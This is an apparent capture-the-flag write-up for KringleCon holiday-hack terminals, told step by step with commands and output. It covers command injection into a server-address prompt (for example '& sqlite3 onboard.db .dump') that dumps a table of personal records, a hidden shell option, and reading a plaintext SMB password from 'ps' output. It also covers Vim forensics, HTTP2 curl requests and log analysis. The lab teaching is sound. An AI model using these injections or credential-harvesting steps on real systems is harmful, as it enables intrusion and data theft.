Validating data store for employee onboard information. Enter address of server: & sqlite3 onboard.db .dump Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE onboard ( id INTEGER PRIMARY KEY, fname TEXT NOT NULL, lname TEXT NOT NULL, street1 TEXT, street2 TEXT, city TEXT, postalcode TEXT, phone TEXT, email TEXT ); INSERT INTO "onboard" VALUES(10,'Karen','Duck','52 Annfield Rd',NULL,'BEAL','DN14 7AU','077 8656 6609','karensduck@einrot.com'); INSERT INTO "onboard" VALUES(11,'Josephine','Harrell','3 Victoria Road',NULL,'LITTLE ASTON','B74 8XD','079 5532 7917','josephinedharrell@einrot.com'); INSERT INTO "onboard" VALUES(12,'Jason','Madsen','4931 Cliffside Drive',NULL,'Worcester','12197','607-397-0037','jasonlmadsen@einrot.com'); INSERT INTO "onboard" VALUES(13,'Nichole','Murphy','53 St. John Street',NULL,'Craik','S4P 3Y2','306-734-9091','nicholenmurphy@teleworm.us'); INSERT INTO "onboard" VALUES(14,'Mary','Lyons','569 York Mills Rd',NULL,'Toronto','M3B 1Y2','416-274-6639','maryjlyons@superrito.com'); ...
Success! But it's hard to find Chan in all of that. Let's see if we can pass our output to the grep
command, returning only lines that contain "Chan."
Validating data store for employee onboard information. Enter address of server: & sqlite3 onboard.db .dump | grep Chan Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067','4017533509','scottmchan90067@gmail.com'); onboard.db: SQLite 3.x database Press Enter to continue...:
Great. We now have one final hurdle – we need to call runtoanswer
and answer the question. The same technique works there too:
Validating data store for employee onboard information. Enter address of server: & ./runtoanswer Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination Loading, please wait...... Enter Mr. Chan's first name: Scott .;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:' 'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO000Okdooooooooooooo; 'oooooooooooooXMWooooOMMxodMMNKKKKxoOMMxoooooWMXoooookNMWK0KNMWOooooooooooooo; :oooooooooooooXMWooooOMMxodMM0ooooooOMMxoooooWMXooooxMMKoooooKMMkooooooooooooo coooooooooooooXMMMMMMMMMxodMMWWWW0ooOMMxoooooWMXooooOMMkoooookMM0ooooooooooooo coooooooooooooXMWdddd0MMxodMM0ddddooOMMxoooooWMXooooOMMOoooooOMMkooooooooooooo coooooooooooooXMWooooOMMxodMMKxxxxdoOMMOkkkxoWMXkkkkdXMW0xxk0MMKoooooooooooooo cooooooooooooo0NXooookNNdodXNNNNNNkokNNNNNNOoKNNNNNXookKNNWNXKxooooooooooooooo cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo cooooooooooooooooooooooooooooooooooMYcNAMEcISooooooooooooooooooooooooooooooooo cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW OMMMMMMMMMMMMW: .. ;MMMk' .NMX:. . .lWO d xMMMMMMMMMMMW OMMMMMMMMMMMMo OMMWXMMl lNMMNxWK ,XMMMO .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMX. .cOWMN 'MMMMMMM; WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMMMKo, KN ,MMMMMMM, WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMKNMMMO oM, dWMMWOWk cWMMMO ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW OMMMMMMMMMMMMc ... cWMWl. .. .NMk. .. .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK .oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, .looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, .,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;. Congratulations! onboard.db: SQLite 3.x database Press Enter to continue...:
Answer:
Scott
This was classic command injection. There were a few other techniques that could've worked here, including using a semicolon instead of the ampersand (e.g. ; ./runtoanswer
).
We also discovered that the menu.ps1
script had an unlisted option:
Show-Menu $input = Read-Host 'Please make a selection' switch ($input) { '1' { cls Employee-Onboarding-Form } '2' { cls Write-Host "Validating data store for employee onboard information." $server = Read-Host 'Enter address of server' /bin/bash -c "/bin/ping -c 3 $server" /bin/bash -c "/usr/bin/file onboard.db" } '9' { /usr/bin/pwsh return } 'q' { return } default { Write-Host "Invalid entry." } } pause
Hitting option 9 drops us into a Powershell shell:
Please make a selection: 9 PowerShell v6.0.3 Copyright (c) Microsoft Corporation. All rights reserved. https://aka.ms/pscore6-docs Type 'help' to get help. PS /home/elf> ./runtoanswer Loading, please wait......
Summary
The onboarding Powershell script was vulnerable to command
injection. By running a command to dump the database, we found our
guy, and were able to successfully call
runtoanswer
. Furthermore, by inspecting the Powershell source
code, we discovered a hidden backdoor in the menu.
Vim ForensicELFification
Goal
Find the first name of the elf of whom a love poem was written.
Background
- Elf Chat
Tangle Coalbox helps us by saying:
Hi, I'm Tangle Coalbox.
Any chance you can help me with an investigation?
Elf Resources assigned me to look into a case, but it seems to require digital forensic skills.
Do you know anything about Linux terminal editors and digital traces they leave behind?
Apparently editors can leave traces of data behind, but where and how escapes me!
- Badge Hint
Tangle also suggests the following site: Forensic Relevance of Vim Artifacts
- Relevant KringleCon Videos
None
Intro
When we open the terminal, we see:
Christmas is coming, and so it would seem, ER (Elf Resources) crushes elves' dreams. One tells me she was disturbed by a bloke. He tells me this must be some kind of joke. Please do your best to determine what's real. Has this jamoke, for this elf, got some feels?  One more quick note that might help you complete, Clearing this mess up that's now at your feet. Certain text editors can leave some clue. Did our young Romeo leave one for you? - Tangle Coalbox, ER Investigator Find the first name of the elf of whom a love poem was written. Complete this challenge by submitting that name to runtoanswer.
Solution
This one seems pretty straightforward. We have a single hint, and
the hint only discusses the importance of the .viminfo
file. Let's take a look at that, but before we do anything, we
want to do two things: Look at the metadata, and copy the file so
that we don't accidentally modify it (by opening vim, say):
elf@viminfo:~$ stat .viminfo > .viminfo_metadata elf@viminfo:~$ cp .viminfo .viminfo.original elf@viminfo:~$ cat .viminfo_metadata File: .viminfo Size: 5063 Blocks: 16 IO Block: 4096 regular file Device: 801h/2049d Inode: 424344 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 1000/ elf) Gid: ( 1000/ elf) Access: 2018-12-14 16:13:20.000000000 +0000 Modify: 2018-12-14 16:13:20.000000000 +0000 Change: 2018-12-16 00:28:58.687164035 +0000 Birth: -
To start, we need to figure out what love poem was written. The "Forensic Relevance of Vim Artifacts" web page has this to say:
File marks are among the last items in most .viminfo files and essentially consist of a list of files that have been opened with Vim. A ‘mark’ allows a user to record their location in a file they were editing, like a bookmark of sorts, which they can jump back to. On Linux systems, the “History of marks within files” section of .viminfo records the last 20 files that were opened using the Vim editor, along with their file path (relative to the user) and epoch timestamp.
As we view the .viminfo.original
file, it's fairly obvious that only one file was recently opened:
# History of marks within files (newest to oldest): > ~/.secrets/her/poem.txt *<PHONE_NUMBER> 0 " 34 2 ^ 24 57 . 20 0 ...
Opening up ~./secrets/her/poem.txt
:
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure–
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door–
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
NEVERMORE in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune fates had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding–
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!
-Morcel Nougat
NEVERMORE
seems like an odd name for an elf, and submitting this to runtoanswer
yields:
Who was the poem written about? NEVERMORE Sorry, I don't think that's what the forensic data shows.
Returning to our .viminfo
file, we see:
# Last Substitute Search Pattern: ~MSle0~&Elinore # Last Substitute String: $NEVERMORE # Command Line History (newest to oldest): :wq |2,0,1536607231,,"wq" :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
It seems like our elf did a find-and-replace on "Elinore," replacing all instances with "NEVERMORE."
elf@viminfo:~$ ./runtoanswer Loading, please wait...... Who was the poem written about? Elinore WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXKK00OOOxddddollcccll:;,;:;,'...,,.....'',,''. ....... .'''''' WWNXXXKK0OOkxdxxxollcccoo:;,ccc:;...:;...,:;'...,:;. ,,....,,. ::'.... WWNXXXKK0OOkxdxxxollcccoo:;,cc;::;..:;..,::... ;:, ,,. .,,. ::'... WWNXXXKK0OOkxdxxxollcccoo:;,cc,';:;':;..,::... ,:; ,,,',,' ::,'''. WWNXXXK0OOkkxdxxxollcccoo:;,cc,'';:;:;..'::'.. .;:. ,,. ',' ::. WWNXXXKK00OOkdxxxddooccoo:;,cc,''.,::;....;:;,,;:,. ,,. ',' ::;;;;; WWNXXKK0OOkkxdddoollcc:::;;,,,'''............... WWNXXK00OOkkxddoolllcc::;;;,,,'''............. WWNXXK00OOkkxddoolllcc::;;;,,,'''............. Thank you for solving this mystery, Slick. Reading the .viminfo sure did the trick. Leave it to me; I will handle the rest. Thank you for giving this challenge your best. -Tangle Coalbox -ER Investigator Congratulations!
Answer:
Elinore
We actually see a bit more history in the .viminfo
file:
elf@viminfo:~$ grep '/g' .viminfo.original :%s/Elinore/NEVERMORE/g |2,0,1536607217,,"%s/Elinore/NEVERMORE/g" :s/God/fates/gc |2,0,1536606833,,"s/God/fates/gc" :%s/studied/looking/g |2,0,1536602549,,"%s/studied/looking/g" :%s/sound/tenor/g |2,0,1536600579,,"%s/sound/tenor/g"
We can use sed
to reverse some of these changes. Though, if we
replace "tenor" with "sound," to undo the earliest change, we have
no way of knowing which instances of "tenor" were there
originally:
sed -e 's/tenor/sound/g' -e 's/looking/studied/g' -e 's/fates/God/gi' -e 's/NEVERMORE/Elinore/g' .secrets/her/poem.txt
And we recover the following poem:
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure–
There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door–
Only this and nothing more."
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
Oh, 'twould make his heart resound!
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and studied nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
Elinore in tinsel stocking!
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
Of good fortune God had borne him. Offered her his dexter forelimb,
Never was his future less dim! Should he now consider gliding–
No - they shouldn't but consider taking flight in sleigh and riding
Up above the Pole abiding?
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely Elinore!
-Morcel Nougat
Summary
For this terminal, the hint was a big help. By looking at the
.viminfo
file, we could reconstruct the changes made to the
file, and learned that someone had replaced Elinore's name with
NEVERMORE.
Samba Mucking Report
Goal
Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/
.
Background
- Elf Chat
Wunorse tells us:
What was that password?
Golly, passwords may be the end of all of us. Good guys can't remember them, and bad guess can guess them!
I've got to upload my chore report to my manager's inbox, but I can't remember my password.
Still, with all the automated tasks we use, I'll bet there's a way to find it in memory…
- Badge Hint
Talking to Wunorse unlocks the following hint in our badge: Keeping Command Line Passwords Out of PS
- Relevant KringleCon Videos
None
Intro
Opening the terminal, we're greeted with:
Thank you Madam or Sir for the help that you bring! I was wondering how I might rescue my day. Finished mucking out stalls of those pulling the sleigh, My report is now due or my KRINGLE's in a sling! There's a samba share here on this terminal screen. What I normally do is to upload the file, With our network credentials (we've shared for a while). When I try to remember, my memory's clean! Be it last night's nog bender or just lack of rest, For the life of me I can't send in my report. Could there be buried hints or some way to contort, Gaining access - oh please now do give it your best! -Wunorse Openslae Complete this challenge by uploading the elf's report.txt file to the samba share at //localhost/report-upload/
Solution
The hint links us to a page that discusses risks when passwords
are passed on the command line, such as being able to view it with
the process status command ps
. Let's try it:
elf@plaintext-creds:~$ ps PID TTY TIME CMD 19 pts/0 00:00:00 bash 73 pts/0 00:00:00 ps
Not a whole lot of information. By default, ps
only shows us a
couple of fields, and only for processes we own (and our
associated with our current terminal). We can read ps
's manual page with man ps
, which has the following snippet:
SIMPLE PROCESS SELECTION a Lift the BSD-style "only yourself" restriction...
Let's try it:
elf@plaintext-creds:~$ ps a PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 10 pts/0 S 0:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special - 11 pts/0 S 0:00 sudo -E -u manager /usr/bin/python /home/manager/report-check.py 15 pts/0 S 0:00 /usr/bin/python /home/manager/report-check.py 16 pts/0 S 0:00 /bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr 18 pts/0 S 0:00 sudo -u elf /bin/bash 19 pts/0 S 0:00 /bin/bash 117 pts/0 S 0:00 sleep 60 135 pts/0 R+ 0:00 ps a
That looks better. We can see there's a samba-wrapper.sh
process, and a report-check.py
process. The samba-wrapper
process is particularly interesting, as it seems to have a bunch
of command-line arguments. However, by default, ps
truncates
them to the width of our terminal.  A less hacky solution is to use more ps
arguments to see the entire command:
OUTPUT MODIFIERS … –cols n Set screen width.
elf@plaintext-creds:~$ ps a --columns 500 PID TTY STAT TIME COMMAND 1 pts/0 Ss 0:00 /bin/bash /sbin/init 10 pts/0 S 0:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppr ess //localhost/report-upload/ directreindeerflatterystable -U report-upload ...
At this point, we suspect that "directreindeerflatterystable" is our password. Now we need to figure out how to copy it to the //localhost/report-upload/
SMB share. Some Googling points us to the smbclient
command:
elf@plaintext-creds:~$ smbclient -h Usage: smbclient ... [-U|--user=USERNAME] ... service <password>
smbclient
has a lot of options, but as we parse the usage information, it seems like the snippet recoverd from the end of samba-wrapper.sh
should just work:
elf@plaintext-creds:~$ smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian] smb: \> pwd Current directory is \\localhost\report-upload\
Uploading the report is as simple as:
smb: \> put report.txt putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
Once we do so, the following happens:
smb: \> Terminated elf@plaintext-creds:~$ .;;;;;;;;;;;;;;;' ,NWOkkkkkkkkkkkkkkNN; ..KM; Stall Mucking ,MN.. OMNXNMd. .oMWXXM0. ;MO l0NNNNNNNNNNNNNNN0o xMc :MO xMl '. :MO dOOOOOOOOOOOOOOOOOd. xMl :l:. .cc::::::::;;;;;;;;;;;,oMO .0NNNNNNNNNNNNNNNNN0. xMd,,,,,,,,,,,,,clll:. 'kkkkxxxxxddddddoooooooxMO ..'''''''''''. xMkcccccccllllllllllooc. 'kkkkxxxxxddddddoooooooxMO .MMMMMMMMMMMMMM, xMkcccccccllllllllllooool 'kkkkxxxxxddddddoooooooxMO '::::::::::::, xMkcccccccllllllllllool, .ooooollllllccccccccc::dMO xMx;;;;;::::::::lllll' :MO .ONNNNNNNNXk xMl :lc' :MO dOOOOOOOOOo xMl ;. :MO 'cccccccccccccc:' xMl :MO .WMMMMMMMMMMMMMMMW. xMl :MO ............... xMl .NWxddddddddddddddddddddddddNW' ;ccccccccccccccccccccccccc; You have found the credentials I just had forgot, And in doing so you've saved me trouble untold. Going forward we'll leave behind policies old, Building separate accounts for each elf in the lot. -Wunorse Openslae
Summary
We ran ps
, with some extra arguments to see all of the command-line arguments, and recovered the username and password for the SMB share. We then copied the report to the share with smbclient
.
HTTP2 CURLing Master
Goal
Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again.
Background
- Elf Chat
Holly has the following plight:
Oh that Bushy!
Sorry to vent, but that brother of mine did something strange.
The trigger to restart the Candy Striper is apparently an arcane HTTP call or 2.
I sometimes wonder if all IT folk do strange things with their home networks…
- Badge Hint
Holly links us to: HTTP/2.0 Basics
- Relevant KringleCon Videos
Intro
Once we open the terminal, we see a curling stone and the following message:
I am Holly Evergreen, and now you won't believe: Once again the striper stopped; I think I might just leave! Bushy set it up to start upon a website call. Darned if I can CURL it on - my Linux skills apall. Could you be our CURLing master - fixing up this mess? If you are, there's one concern you surely must address. Something's off about the conf that Bushy put in place. Can you overcome this snag and save us all some face? Complete this challenge by submitting the right HTTP request to the server at http://localhost:8080/ to get the candy striper started again. You may view the contents of the nginx.conf file in /etc/nginx/, if helpful.
Solution
The terminal tells us to check out /etc/nginx/nginx.conf
, so we
do that. The following comment catches our attention:
server { # love using the new stuff! -Bushy listen 8080 http2; # server_name localhost <IP_ADDRESS>; root /var/www/html;
The web server has HTTP2 enabled. We read the page that Holly
linked us to, but what we're really looking for is how to use the
curl
command with HTTP2. Chris Elgee's video gives us the following
command, which we've adapted for our server running on localhost,
port 8080:
elf@http2:~$ curl -v --http2 http://localhost:8080/ * Trying <IP_ADDRESS>... * TCP_NODELAY set * Connected to localhost (<IP_ADDRESS>) port 8080 (#0) > GET / HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.52.1 > Accept: */* > Connection: Upgrade, HTTP2-Settings > Upgrade: h2c > HTTP2-Settings: AAMAAABkAARAAAAA > * Curl_http_done: called premature == 0
Well, that didn't work. Let's try to find out more about the --http2
flag. We can run curl --help
, and see:
--http2 Use HTTP 2 (H) --http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
Let's try doing it without the HTTP/1.1 upgrade:
elf@http2:~$ curl -v --http2-prior-knowledge http://localhost:8080/ * Trying <IP_ADDRESS>... * TCP_NODELAY set * Connected to localhost (<IP_ADDRESS>) port 8080 (#0) * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x55e0a5cbedc0) > GET / HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.52.1 > Accept: */* > * Connection state changed (MAX_CONCURRENT_STREAMS updated)! < HTTP/2 200 < server: nginx/1.10.3 < date: Sat, 12 Jan 2019 21:06:41 GMT < content-type: text/html; charset=UTF-8 < <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" </body> </html> * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact
Ok! Now, instead of sending an empty GET, we need to send a POST with the right paramter. Once again, we'll return to the help output:
-d, --data DATA HTTP POST data (H)
Easy enough:
elf@http2:~$ curl -v --http2-prior-knowledge --data 'status=on' http://localhost:8080/ * Trying <IP_ADDRESS>... * TCP_NODELAY set * Connected to localhost (<IP_ADDRESS>) port 8080 (#0) * Using HTTP2, server supports multi-use * Connection state changed (HTTP/2 confirmed) * Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0 * Using Stream ID: 1 (easy handle 0x563dc369cdc0) > POST / HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.52.1 > Accept: */* > Content-Length: 9 > Content-Type: application/x-www-form-urlencoded > * Connection state changed (MAX_CONCURRENT_STREAMS updated)! * We are completely uploaded and fine < HTTP/2 200 < server: nginx/1.10.3 < date: Sat, 12 Jan 2019 21:08:29 GMT < content-type: text/html; charset=UTF-8 < <html> <head> <title>Candy Striper Turner-On'er</title> </head> <body> <p>To turn the machine on, simply POST to this URL with parameter "status=on" okkd, OXXXXX, oXXXXXXo ;XXXXXXX; ;KXXXXXXx oXXXXXXXO .lKXXXXXXX0. '''''' .'''''' .'''''' .:::; ':okKXXXXXXXX0Oxcooddool, 'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX. 'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d; 'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x. 'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX: 'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;. 'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO. 'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk. .c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc ;xKXXXXXXX0xKXXXXXXXXK. ..,:ccllc:cccccc:' Unencrypted 2.0?  That's the kind of stunt that makes my OWASP friends all cry. Truth be told: most major sites are speaking 2.0; TLS connections are in place when they do so. -Holly Evergreen <p>Congratulations! You've won and have successfully completed this challenge. <p>POSTing data in HTTP/2.0. </body> </html> * Curl_http_done: called premature == 0 * Connection #0 to host localhost left intact
Alternative solution
This system had some interesting commands in the bash history:
elf@http2:~$ grep curl .bash_history curl --http2-prior-knowledge http://localhost:8080/index.php
Summary
We found a comment from Bushy in the nginx
config, which told us
that HTTP2 was enabled on this system. Using a combination of
Chris Elgee's talk and the curl help output, we figured out the
correct parameters to have curl be able to send the request as
HTTP2 (without trying to HTTP/1.1 and doing an upgrade to HTTP2
first). Then, the output from the page told us that we needed to
submit a POST request, with status=on
.
Windows Yule Log Analysis
Goal
Submit the compromised webmail username to runtoanswer to complete this challenge.
Background
- Elf Chat
Pepper Minstix tells us:
Have you heard of password spraying? It seems we've been victim.
We fear that they were successful in accessing one of our Elf Web Access accounts, but we don't know which one.
Parsing through .evtx files can be tricky, but there's a Python script that can help you convert it into XML for easier grep'ing.
- Badge Hint
Pepper promptly points password penetration people to Password Spraying.
- Relevant KringleCon Videos
Intro
When we start the Cranberry Pi, we get the following message:
I am Pepper Minstix, and I'm looking for your help. Bad guys have us tangled up in pepperminty kelp! "Password spraying" is to blame for this our grinchly fate. Should we blame our password policies which users hate? Here you'll find a web log filled with failure and success. One successful login there requires your redress. Can you help us figure out which user was attacked? Tell us who fell victim, and please handle this with tact... Submit the compromised webmail username to runtoanswer to complete this challenge.
Checking our home directory, we see:
elf@spray-detect:~$ ls evtx_dump.py ho-ho-no.evtx runtoanswer
evtx_dump.py
must be the Python script Pepper was referring to, for converting ho-ho-no.evtx
to XML.
Solution
First, we figure out how to run evtx_dump.py
:
elf@spray-detect:~$ python evtx_dump.py usage: evtx_dump.py [-h] evtx evtx_dump.py: error: too few arguments elf@spray-detect:~$ python evtx_dump.py ho-ho-no.evtx <?xml version="1.1" encoding="utf-8" standalone="yes" ?> <Events> <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4647</EventID> <Version>0</Version> <Level>0</Level> <Task>12545</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> ...
Next, we'll save the XML version to a file, so we're not waiting on the Python script to re-parse the events each time.
elf@spray-detect:~$ python evtx_dump.py ho-ho-no.evtx > ho-ho-no.xml
At this point, we follow along in Beau's video. We learn that password spraying involves trying a single password across a large number of accounts. That way, account lockout polices don't trigger. He also mentions that a good way to try this is via e-mail servers like OWA, using his tool, MailSniper. Given that Pepper's hint is about MailSniper, we suspect that this is likely the vector being used.
Taking a closer look at our logs, we see events such as:
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"> <System> <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider> <EventID Qualifiers="">4647</EventID> <Version>0</Version> <Level>0</Level> <Task>12545</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 12:18:26.972103"></TimeCreated> <EventRecordID>231712</EventRecordID> <Correlation ActivityID="{fd18dc13-48f8-0001-58dc-18fdf848d401}" RelatedActivityID=""></Correlation> <Execution ProcessID="660" ThreadID="752"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData> <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-500</Data> <Data Name="TargetUserName">Administrator</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="TargetLogonId">0x0000000000969b09</Data> </EventData> </Event>
Let's start by seeing which systems we have log data from. To do
this, we'll use the grep
command, to only return lines from the
file which match our search term, and then we'll use the pipe (|
)
operator to pass those lines to sort
. Finally, we'll pass the
sorted lines to the uniq
("unique") command, which will only
print a line if it's different from the line above it. sort
and
uniq
are often used together in this way, since uniq
only
compares the line to the line above it when deciding whether or
not to print it.
elf@spray-detect:~$ grep '<Computer>' ho-ho-no.xml | sort | uniq
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
We only have logs from a single system, which we suspect to be an Exchange Server 2016 from its hostname. Let's see what events we have:
elf@spray-detect:~$ grep 'EventID' ho-ho-no.xml | sort | uniq <EventID Qualifiers="">4608</EventID> <EventID Qualifiers="">4624</EventID> <EventID Qualifiers="">4625</EventID> <EventID Qualifiers="">4647</EventID> <EventID Qualifiers="">4688</EventID> <EventID Qualifiers="">4724</EventID> <EventID Qualifiers="">4738</EventID> <EventID Qualifiers="">4768</EventID> <EventID Qualifiers="">4769</EventID> <EventID Qualifiers="">4776</EventID> <EventID Qualifiers="">4799</EventID> <EventID Qualifiers="">4826</EventID> <EventID Qualifiers="">4902</EventID> <EventID Qualifiers="">4904</EventID> <EventID Qualifiers="">5024</EventID> <EventID Qualifiers="">5033</EventID> <EventID Qualifiers="">5059</EventID>
A bit of research gives us names to go with these EventIDs:
| Event ID | Event Name |
|---|---|
| 4608 | Windows is starting up |
| 4624 | An account was successfully logged on |
| 4625 | An account failed to log on |
| 4647 | User initiated logoff |
| 4688 | A new process has been created |
| 4724 | An attempt was made to reset an accounts password |
| 4738 | A user account was changed |
| 4768 | A Kerberos authentication ticket (TGT) was requested |
| 4769 | A Kerberos service ticket was requested |
| 4776 | The domain controller attempted to validate the credentials for an account |
| 4799 | A security-enabled local group membership was enumerated |
| 4826 | Boot Configuration Data loaded |
| 4902 | The Per-user audit policy table was created |
| 4904 | An attempt was made to register a security event source |
| 5024 | The Windows Firewall Service has started successfully |
| 5033 | The Windows Firewall Driver has started successfully |
| 5059 | Key migration operation |
